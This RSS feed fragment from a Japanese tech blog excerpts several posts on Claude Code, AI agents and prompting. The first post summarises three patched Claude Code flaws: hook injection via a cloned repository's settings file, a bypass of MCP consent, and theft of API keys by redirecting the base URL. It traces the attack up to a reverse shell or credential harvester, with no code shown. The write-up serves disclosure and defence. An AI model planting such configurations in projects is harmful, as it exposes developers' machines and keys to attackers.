+0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AB%E6%BD%9C%E3%82%93%E3%81%A7%E3%81%84%E3%81%9F3%E3%81%A4%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7-git-clone-%E3%81%A0%E3%81%91%E3%81%A7-api-%E3%82%AD%E3%83%BC%E3%81%8C%E7%9B%97%E3%81%BE%E3%82%8C%E3%82%8B%E4%BB%95%E7%B5%84%E3%81%BF/</guid><description>&lt;h1 id="claude-code-に潜んでいた3つの脆弱性--git-clone-だけで-api-キーが盗まれる仕組み"&gt;Claude Code に潜んでいた3つの脆弱性 — git clone だけで API キーが盗まれる仕組み&lt;/h1&gt;
&lt;p&gt;AIコーディングツール &lt;strong&gt;Claude Code&lt;/strong&gt; に、リポジトリをクローンするだけでリモートコード実行（RCE）や API キー窃取が可能になる深刻な脆弱性が見つかった。発見したのはイスラエルのセキュリティ企業 &lt;strong&gt;Check Point Research&lt;/strong&gt;。2025年7月〜2026年1月にかけて段階的に報告・修正された3件の脆弱性は、AI開発ツール特有の「設定ファイル＝実行レイヤー」という新しい攻撃面を浮き彫りにしている。&lt;/p&gt;
&lt;h2 id="何が起きたのか--3行まとめ"&gt;何が起きたのか — 3行まとめ&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Hooks コードインジェクション&lt;/strong&gt; — &lt;code&gt;.claude/settings.json&lt;/code&gt; に仕込んだフックで任意コマンドが実行される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MCP 同意バイパス&lt;/strong&gt; — &lt;code&gt;enableAllProjectMcpServers&lt;/code&gt; 設定で信頼ダイアログを迂回し、悪意ある MCP サーバーが自動起動する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;API キー窃取&lt;/strong&gt; — &lt;code&gt;ANTHROPIC_BASE_URL&lt;/code&gt; を攻撃者サーバーに書き換え、認証ヘッダーごと API キーを平文で盗む&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;いずれも&lt;strong&gt;修正済み&lt;/strong&gt;だが、AI コーディングツールのサプライチェーンリスクを示す重要な事例として記録しておく。&lt;/p&gt;
&lt;h2 id="脆弱性の詳細"&gt;脆弱性の詳細&lt;/h2&gt;
&lt;h3 id="脆弱性-1-hooks-によるリモートコード実行"&gt;脆弱性 1: Hooks によるリモートコード実行&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;修正バージョン&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;v1.0.87（2025年9月）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8.7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;攻撃ベクトル&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.claude/settings.json&lt;/code&gt; の Hooks 設定&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Claude Code の &lt;strong&gt;Hooks&lt;/strong&gt; 機能は、セッション開始やツール呼び出しなどのライフサイクルイベントで事前定義されたシェルコマンドを実行する仕組みだ。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;攻撃の流れ:&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;攻撃者がリポジトリに悪意ある .claude/settings.json をコミット
↓
開発者が git clone してプロジェクトを開く
↓
Claude Code 起動時に信頼ダイアログが表示される
↓
ユーザーが &amp;#34;Yes, proceed&amp;#34; をクリック
↓
Hook コマンドが追加確認なしで即座に実行
↓
リバースシェルや認証情報ハーベスターが起動
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;悪意ある設定の例:&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>Claude Code 時代、UI デザイナーの仕事は軽くならない — 「整える仕事」の自動化と評価軸シフト</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E6%99%82%E4%BB%A3ui-%E3%83%87%E3%82%B6%E3%82%A4%E3%83%8A%E3%83%BC%E3%81%AE%E4%BB%95%E4%BA%8B%E3%81%AF%E8%BB%BD%E3%81%8F%E3%81%AA%E3%82%89%E3%81%AA%E3%81%84-%E6%95%B4%E3%81%88%E3%82%8B%E4%BB%95%E4%BA%8B%E3%81%AE%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%A8%E8%A9%95%E4%BE%A1%E8%BB%B8%E3%82%B7%E3%83%95%E3%83%88/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E6%99%82%E4%BB%A3ui-%E3%83%87%E3%82%B6%E3%82%A4%E3%83%8A%E3%83%BC%E3%81%AE%E4%BB%95%E4%BA%8B%E3%81%AF%E8%BB%BD%E3%81%8F%E3%81%AA%E3%82%89%E3%81%AA%E3%81%84-%E6%95%B4%E3%81%88%E3%82%8B%E4%BB%95%E4%BA%8B%E3%81%AE%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%A8%E8%A9%95%E4%BE%A1%E8%BB%B8%E3%82%B7%E3%83%95%E3%83%88/</guid><description>&lt;h1 id="claude-code-時代ui-デザイナーの仕事は軽くならない--整える仕事の自動化と評価軸シフト"&gt;Claude Code 時代、UI デザイナーの仕事は軽くならない — 「整える仕事」の自動化と評価軸シフト&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/dorisukeone/status/2029357172409454786"&gt;アオキタカユキ氏（@dorisukeone）&lt;/a&gt;が「やれることがどんどん拡張していく」とコメントを添えて、自身の note 記事を紹介しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Claude Code時代、UIデザイナーの仕事は軽くならない&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;タイトルだけ見ると逆説的ですが、主張はシンプルです。AI が「整える仕事」を代替するぶん、デザイナーには&lt;strong&gt;もっと上流の思考&lt;/strong&gt;が求められるようになる。仕事は減るのではなく、&lt;strong&gt;質が変わる&lt;/strong&gt;というのが記事の核心です。&lt;/p&gt;
&lt;h2 id="整える仕事とは何か"&gt;「整える仕事」とは何か&lt;/h2&gt;
&lt;p&gt;アオキ氏が自動化されると指摘する「整える仕事」は、UI デザイナーの日常業務の大部分を占めてきた作業です。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;整える仕事&lt;/th&gt;
&lt;th&gt;具体例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;デザインシステム準拠&lt;/td&gt;
&lt;td&gt;コンポーネントの使い分け、間隔・サイズの統一&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ブランドトーン維持&lt;/td&gt;
&lt;td&gt;カラー、タイポグラフィ、トーン&amp;amp;マナーの一貫性&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;アクセシビリティ対応&lt;/td&gt;
&lt;td&gt;コントラスト比、フォーカス順序、ARIA ラベル&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;制作スピード&lt;/td&gt;
&lt;td&gt;仕様に沿った画面を短時間で量産する能力&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;これらは再現性が高く、ルールが明文化されているため、AI による自動化と相性が良い領域です。Claude Code は CLAUDE.md にデザインシステムの仕様を記述しておくだけで、コンポーネント選定からアクセシビリティ対応まで一貫して処理できます。&lt;/p&gt;
&lt;h2 id="なぜ軽くならないのか"&gt;なぜ「軽くならない」のか&lt;/h2&gt;
&lt;p&gt;「整える仕事」が自動化されるなら、仕事は楽になるはずです。しかしアオキ氏の指摘は、&lt;strong&gt;評価軸そのものがシフトする&lt;/strong&gt;という点にあります。&lt;/p&gt;
&lt;p&gt;従来の UI デザイナーの評価は「速く、整った画面を作れること」でした。これが AI で代替可能になると、&lt;strong&gt;その能力では差がつかなくなる&lt;/strong&gt;。代わりに求められるのは「思考のズレを言語化する力」、つまり以下のような上流工程のスキルです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;問題定義&lt;/strong&gt;: 「何を作るか」の前に「なぜ作るのか」を問う力&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;意思決定の言語化&lt;/strong&gt;: 「このボタンを右に置く」ではなく「なぜ右なのか」を説明する力&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ビジネスゴールとの接続&lt;/strong&gt;: UI の判断をプロダクト戦略に紐づける力&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;仕事が軽くなるのではなく、&lt;strong&gt;より認知負荷の高い仕事にシフトする&lt;/strong&gt;。だから「軽くならない」のです。&lt;/p&gt;
&lt;h2 id="claude-code--figma-が実現した双方向ワークフロー"&gt;Claude Code × Figma が実現した双方向ワークフロー&lt;/h2&gt;
&lt;p&gt;この評価軸シフトを加速させているのが、2026年2月に発表された &lt;strong&gt;Code to Canvas&lt;/strong&gt; です。Figma と Anthropic が共同で開発したこの機能は、Claude Code で生成したコードを&lt;strong&gt;編集可能な Figma フレーム&lt;/strong&gt;として取り込めます。&lt;/p&gt;
&lt;h3 id="従来のワークフロー"&gt;従来のワークフロー&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;デザイナーが Figma で設計
↓
エンジニアがコードに変換
↓
デザイナーが実装を確認
↓
「ここ違う」→ 修正依頼の往復
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="code-to-canvas-後のワークフロー"&gt;Code to Canvas 後のワークフロー&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;エンジニアが Claude Code で UI プロトタイプを生成
↓
「Send this to Figma」で即座に Figma に転送
↓
デザイナーが Figma 上で直接編集・フィードバック
↓
変更を Claude Code に反映
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;逆方向も可能です。Figma MCP サーバーを使えば、Figma のデザイントークン、コンポーネント構造、Auto Layout ルールを Claude Code が直接読み取り、&lt;strong&gt;デザインシステムに準拠したコードを自動生成&lt;/strong&gt;します。&lt;/p&gt;</description></item><item><title>Claude-Native Designer — デザイナーが「作る人」になるFigma MCP × Claude Codeワークフロー</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-native-designer-%E3%83%87%E3%82%B6%E3%82%A4%E3%83%8A%E3%83%BC%E3%81%8C%E4%BD%9C%E3%82%8B%E4%BA%BA%E3%81%AB%E3%81%AA%E3%82%8Bfigma-mcp-claude-code%E3%83%AF%E3%83%BC%E3%82%AF%E3%83%95%E3%83%AD%E3%83%BC/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-native-designer-%E3%83%87%E3%82%B6%E3%82%A4%E3%83%8A%E3%83%BC%E3%81%8C%E4%BD%9C%E3%82%8B%E4%BA%BA%E3%81%AB%E3%81%AA%E3%82%8Bfigma-mcp-claude-code%E3%83%AF%E3%83%BC%E3%82%AF%E3%83%95%E3%83%AD%E3%83%BC/</guid><description>&lt;h1 id="claude-native-designer--デザイナーが作る人になる-figma-mcp--claude-code-ワークフロー"&gt;Claude-Native Designer — デザイナーが「作る人」になる Figma MCP × Claude Code ワークフロー&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/felixleezd/status/2029236285005860903"&gt;@felixleezd（Felix Lee）氏のポスト&lt;/a&gt;が注目を集めています。ADPList の共同創業者であり、1,500 人以上のデザイナーに Vibe Coding を教えてきた Felix Lee 氏が、4 ヶ月の実践から導いた「Claude-Native Designer」のワークフローを公開しました。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you want to ship products you designed, stop using Figma only. Do it on Claude Code instead.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Autonomous AI = memory + planning + tools + safety + collaboration. It&amp;rsquo;s a system, not a prompt.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;「デザインの未来はコードを学ぶことではない。&lt;strong&gt;ビルドすることを学ぶこと&lt;/strong&gt;だ」— この記事の核心は、デザイナーが抱えてきた「アイデアはあるが実装できない」という壁が、Claude Code によって構造的に消滅したという主張です。&lt;/p&gt;
&lt;h2 id="デザイナーの天井--7-年間の経験が語る構造的問題"&gt;デザイナーの天井 — 7 年間の経験が語る構造的問題&lt;/h2&gt;
&lt;p&gt;Felix Lee 氏は Gotrade（YC S19）と ADPList で 7 年間デザインに携わってきました。その間、デザイナーが直面する共通の天井を目撃しています。&lt;/p&gt;</description></item><item><title>ClawGTM — OpenClaw を自律型セールスエージェントに変えた「URL 1つで営業パイプライン構築」</title><link>https://hdknr.github.io/blogs/posts/2026/03/clawgtm-openclaw-%E3%82%92%E8%87%AA%E5%BE%8B%E5%9E%8B%E3%82%BB%E3%83%BC%E3%83%AB%E3%82%B9%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AB%E5%A4%89%E3%81%88%E3%81%9Furl-1%E3%81%A4%E3%81%A7%E5%96%B6%E6%A5%AD%E3%83%91%E3%82%A4%E3%83%97%E3%83%A9%E3%82%A4%E3%83%B3%E6%A7%8B%E7%AF%89/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/clawgtm-openclaw-%E3%82%92%E8%87%AA%E5%BE%8B%E5%9E%8B%E3%82%BB%E3%83%BC%E3%83%AB%E3%82%B9%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AB%E5%A4%89%E3%81%88%E3%81%9Furl-1%E3%81%A4%E3%81%A7%E5%96%B6%E6%A5%AD%E3%83%91%E3%82%A4%E3%83%97%E3%83%A9%E3%82%A4%E3%83%B3%E6%A7%8B%E7%AF%89/</guid><description>&lt;h1 id="clawgtm--openclaw-を自律型セールスエージェントに変えたurl-1つで営業パイプライン構築"&gt;ClawGTM — OpenClaw を自律型セールスエージェントに変えた「URL 1つで営業パイプライン構築」&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/heynavtoor"&gt;Nav Toor さん（@heynavtoor）&lt;/a&gt;が、OpenClaw ベースの自律型セールスエージェント &lt;strong&gt;ClawGTM&lt;/strong&gt; を紹介し、大きな反響を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;BREAKING: Someone just turned OpenClaw into an autonomous sales agent. It&amp;rsquo;s called Claw GTM. Paste your website and it builds your outbound pipeline automatically.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://x.com/heynavtoor/status/2029203769557413922"&gt;https://x.com/heynavtoor/status/2029203769557413922&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;1,627 いいね・4,307 ブックマーク・227,728 ビューを集めたこのポストが示すのは、AI コーディングエージェントとして知られる OpenClaw を&lt;strong&gt;営業自動化&lt;/strong&gt;に転用した事例です。Web サイトの URL を貼るだけで、理想顧客プロファイルの特定、求人データからの購買シグナル検出、アカウントリサーチ、パーソナライズされたメール・LinkedIn アウトリーチの生成までを&lt;strong&gt;約60秒&lt;/strong&gt;で実行するとされています。&lt;/p&gt;
&lt;h2 id="sdr-とは何か--ai-が置き換えようとしている職種"&gt;SDR とは何か — AI が置き換えようとしている職種&lt;/h2&gt;
&lt;p&gt;ClawGTM を理解するには、まず &lt;strong&gt;SDR（Sales Development Representative）&lt;/strong&gt; という職種を知る必要があります。日本語では「インサイドセールス担当」や「営業開発担当者」と訳されます。&lt;/p&gt;
&lt;h3 id="saas-営業の分業モデル"&gt;SaaS 営業の分業モデル&lt;/h3&gt;
&lt;p&gt;SaaS 企業では、営業プロセスを&lt;strong&gt;商談を作る人&lt;/strong&gt;と&lt;strong&gt;商談を閉じる人&lt;/strong&gt;に分ける分業モデルが広く採用されています。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;SDR（営業開発担当） AE（アカウントエグゼクティブ）
┌─────────────────────┐ ┌─────────────────────┐
│ リード発掘 │ │ 商談・提案 │
│ 初期アプローチ │ ──→ │ 契約交渉 │
│ 商談（ミーティング）設定│ │ クロージング（成約） │
└─────────────────────┘ └─────────────────────┘
「商談を作る」 「商談を閉じる」
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="sdr-の日常業務"&gt;SDR の日常業務&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;業務&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;th&gt;所要時間の目安&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ターゲットリサーチ&lt;/td&gt;
&lt;td&gt;企業情報・担当者の調査、ICP との照合&lt;/td&gt;
&lt;td&gt;1日の30〜40%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;メール作成&lt;/td&gt;
&lt;td&gt;パーソナライズされたコールドメールの作成&lt;/td&gt;
&lt;td&gt;1日の20〜30%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;電話・LinkedIn&lt;/td&gt;
&lt;td&gt;コールドコール、LinkedIn メッセージ送信&lt;/td&gt;
&lt;td&gt;1日の20〜30%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;フォローアップ&lt;/td&gt;
&lt;td&gt;返信対応、ミーティング調整&lt;/td&gt;
&lt;td&gt;1日の10〜20%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;SDR の仕事の大半は&lt;strong&gt;リサーチとアウトリーチの繰り返し&lt;/strong&gt;です。1日に数十件のメールを書き、企業を調べ、LinkedIn でメッセージを送る — この反復的な作業こそ、AI エージェントが自動化しようとしている領域です。&lt;/p&gt;</description></item><item><title>Everything Claude Code — Anthropic ハッカソン優勝者が作った「Claude Code 設定バイブル」の全貌</title><link>https://hdknr.github.io/blogs/posts/2026/03/everything-claude-code-anthropic-%E3%83%8F%E3%83%83%E3%82%AB%E3%82%BD%E3%83%B3%E5%84%AA%E5%8B%9D%E8%80%85%E3%81%8C%E4%BD%9C%E3%81%A3%E3%81%9Fclaude-code-%E8%A8%AD%E5%AE%9A%E3%83%90%E3%82%A4%E3%83%96%E3%83%AB%E3%81%AE%E5%85%A8%E8%B2%8C/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/everything-claude-code-anthropic-%E3%83%8F%E3%83%83%E3%82%AB%E3%82%BD%E3%83%B3%E5%84%AA%E5%8B%9D%E8%80%85%E3%81%8C%E4%BD%9C%E3%81%A3%E3%81%9Fclaude-code-%E8%A8%AD%E5%AE%9A%E3%83%90%E3%82%A4%E3%83%96%E3%83%AB%E3%81%AE%E5%85%A8%E8%B2%8C/</guid><description>&lt;h1 id="everything-claude-code--anthropic-ハッカソン優勝者が作ったclaude-code-設定バイブルの全貌"&gt;Everything Claude Code — Anthropic ハッカソン優勝者が作った「Claude Code 設定バイブル」の全貌&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/ihtesham2005"&gt;Ihtesham Ali さん（@ihtesham2005）&lt;/a&gt;が、Anthropic ハッカソン優勝者のリポジトリを「Claude Code 設定バイブル」として紹介し、大きな反響を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Stop building agents from scratch. Anthropic hackathon winner just dropped the complete Claude Code config bible. It got Agents, skills, hooks, commands, rules, MCPs battle-tested over 10+ months. And now has PM2 + multi-agent orchestration with 6 new commands. This single repo replaces 10 different setups.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://x.com/ihtesham2005/status/2029246676339474841"&gt;https://x.com/ihtesham2005/status/2029246676339474841&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;457 いいね・865 ブックマーク・33,579 ビューを集めたこのポストが指すのは、&lt;strong&gt;&lt;a href="https://github.com/affaan-m/everything-claude-code"&gt;everything-claude-code&lt;/a&gt;&lt;/strong&gt; — GitHub &lt;strong&gt;60,700 スター&lt;/strong&gt;を獲得した、Claude Code のエージェント・スキル・フック・コマンド・ルール・MCP 設定を一括提供するオープンソースプラグインです。&lt;/p&gt;</description></item><item><title>Felix AI CEO × 人間ゼロの会社が30日で売上1,200万円、VCを「金の使い道がない」と断った話</title><link>https://hdknr.github.io/blogs/posts/2026/03/felix-ai-ceo-%E4%BA%BA%E9%96%93%E3%82%BC%E3%83%AD%E3%81%AE%E4%BC%9A%E7%A4%BE%E3%81%8C30%E6%97%A5%E3%81%A7%E5%A3%B2%E4%B8%8A1200%E4%B8%87%E5%86%86vc%E3%82%92%E9%87%91%E3%81%AE%E4%BD%BF%E3%81%84%E9%81%93%E3%81%8C%E3%81%AA%E3%81%84%E3%81%A8%E6%96%AD%E3%81%A3%E3%81%9F%E8%A9%B1/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/felix-ai-ceo-%E4%BA%BA%E9%96%93%E3%82%BC%E3%83%AD%E3%81%AE%E4%BC%9A%E7%A4%BE%E3%81%8C30%E6%97%A5%E3%81%A7%E5%A3%B2%E4%B8%8A1200%E4%B8%87%E5%86%86vc%E3%82%92%E9%87%91%E3%81%AE%E4%BD%BF%E3%81%84%E9%81%93%E3%81%8C%E3%81%AA%E3%81%84%E3%81%A8%E6%96%AD%E3%81%A3%E3%81%9F%E8%A9%B1/</guid><description>&lt;h1 id="felix-ai-ceo--人間ゼロの会社が-30-日で売上-1200-万円vc-を金の使い道がないと断った話"&gt;Felix AI CEO × 人間ゼロの会社が 30 日で売上 1,200 万円、VC を「金の使い道がない」と断った話&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/0x__tom/status/2029317328660504909"&gt;@0x__tom 氏のポスト&lt;/a&gt;が話題になっています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「OpenClaw が作った会社（人間は 0）」に VC が出資を持ちかけて「金の使い道がない」と断ったとして海外で話題になってる。しかもこの会社、30 日で売上 1,200 万円を叩き出してるらしい。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;連続起業家 Nat Eliason が OpenClaw の AI エージェント「Felix」を CEO に任命し、法人 The Masinov Company を設立しました。Nat がやるのはボイスメモを送ることだけ。Felix が判断して実行します。月額コスト約 400 ドル（6 万円）で、30 日間で約 80,000 ドル（1,200 万円）の売上を記録しています。&lt;/p&gt;
&lt;p&gt;VC が投資を持ちかけた際、Nat は「金の使い道がない」と答えました。AI エージェントの時代に足りないのは資本ではなく「何をさせるか」のビジョンだ、という指摘です。&lt;/p&gt;
&lt;h2 id="felix-とは誰か--mac-mini-上で動く-ai-ceo"&gt;Felix とは誰か — Mac Mini 上で動く AI CEO&lt;/h2&gt;
&lt;p&gt;Felix は OpenClaw フレームワーク上で動作する自律型 AI エージェントです。Mac Mini 上でローカルに稼働し、ウェブサイト・メール・Stripe・銀行口座へのフルアクセスを持っています。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;The Masinov Company の組織図:
Nat Eliason（オーナー）
├── Telegram でボイスメモ送信のみ
└── 毎朝の日報レビュー + フィードバック
Felix（AI CEO）
├── 商品開発
├── 戦略立案
├── 売上管理
├── X アカウント運営
├── ブログ管理
└── サブエージェント管理
├── カスタマーサポート
└── 営業
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="felix-の-1-日"&gt;Felix の 1 日&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;時間帯&lt;/th&gt;
&lt;th&gt;活動&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;早朝&lt;/td&gt;
&lt;td&gt;Stripe・サイト統計を確認し日報を作成。次の 5 つの優先事項を Nat に提案&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;朝&lt;/td&gt;
&lt;td&gt;Nat が日報をレビューしフィードバック。Felix が HEARTBEAT スケジュールを調整&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;日中&lt;/td&gt;
&lt;td&gt;メール対応、X 対応、ブログ管理、バグ修正、進行中プロジェクト推進&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;夜間&lt;/td&gt;
&lt;td&gt;新スキル開発、ボトルネック解決、自動化強化の改善サイクル&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="30-日で-80000-ドル--売上の内訳"&gt;30 日で 80,000 ドル — 売上の内訳&lt;/h2&gt;
&lt;p&gt;Felix が生み出した売上の構造を分解します。&lt;/p&gt;</description></item><item><title>Geminiフルパワープロンプト50選 × ロールプロンプティングの効果と限界</title><link>https://hdknr.github.io/blogs/posts/2026/03/gemini%E3%83%95%E3%83%AB%E3%83%91%E3%83%AF%E3%83%BC%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%8850%E9%81%B8-%E3%83%AD%E3%83%BC%E3%83%AB%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0%E3%81%AE%E5%8A%B9%E6%9E%9C%E3%81%A8%E9%99%90%E7%95%8C/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/gemini%E3%83%95%E3%83%AB%E3%83%91%E3%83%AF%E3%83%BC%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%8850%E9%81%B8-%E3%83%AD%E3%83%BC%E3%83%AB%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0%E3%81%AE%E5%8A%B9%E6%9E%9C%E3%81%A8%E9%99%90%E7%95%8C/</guid><description>&lt;h1 id="geminiフルパワープロンプト50選--ロールプロンプティングの効果と限界"&gt;Geminiフルパワープロンプト50選 × ロールプロンプティングの効果と限界&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/daifukujinji"&gt;たか田さん（@daifukujinji）&lt;/a&gt;が、Gemini の性能を引き上げる「人格付与プロンプト」50選を公開し、大きな反響を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Geminiが「いまいち」になってない？それ、性能が低いからじゃない。使う人が９割まちがってる。「〜を教えて」で終わらせてる人はマジでもったいない。GeminiはGoogleの検索窓じゃない思考するマシーン。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://x.com/daifukujinji/status/2029119665222627465"&gt;https://x.com/daifukujinji/status/2029119665222627465&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;304 いいね・48 RT・485 ブックマークを集めた一連のポストでは、Gemini に「あなたは〇〇です」と人格を与えることで回答品質が変わるという主張が展開されています。提示された50項目の「フルパワープロンプト」は、戦略コンサルから校正者、ストーリーテラーまで多岐にわたる人格定義です。&lt;/p&gt;
&lt;h2 id="フルパワープロンプト50項目の全容"&gt;「フルパワープロンプト」50項目の全容&lt;/h2&gt;
&lt;p&gt;画像で公開された50項目を分類・整理します。&lt;/p&gt;
&lt;h3 id="思考力分析系no110"&gt;思考力・分析系（No.1〜10）&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;No&lt;/th&gt;
&lt;th&gt;プロンプト&lt;/th&gt;
&lt;th&gt;狙い&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;あなたは世界トップ0.1%の戦略コンサルとして思考してください&lt;/td&gt;
&lt;td&gt;高次の戦略的思考&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;あなたは論理破綻を絶対に許さない分析官です&lt;/td&gt;
&lt;td&gt;論理の厳密性&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;あなたは仮説検証を最優先するリサーチャーです&lt;/td&gt;
&lt;td&gt;仮説思考&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;あなたは常に反論を想定して考える批判家です&lt;/td&gt;
&lt;td&gt;反証的思考&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;あなたは抽象と具体を自在に往復できる知性です&lt;/td&gt;
&lt;td&gt;抽象化・具体化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;あなたはMECEを無意識で使いこなすプロです&lt;/td&gt;
&lt;td&gt;網羅的思考&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;あなたは意思決定の質を最大化する参謀です&lt;/td&gt;
&lt;td&gt;意思決定支援&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
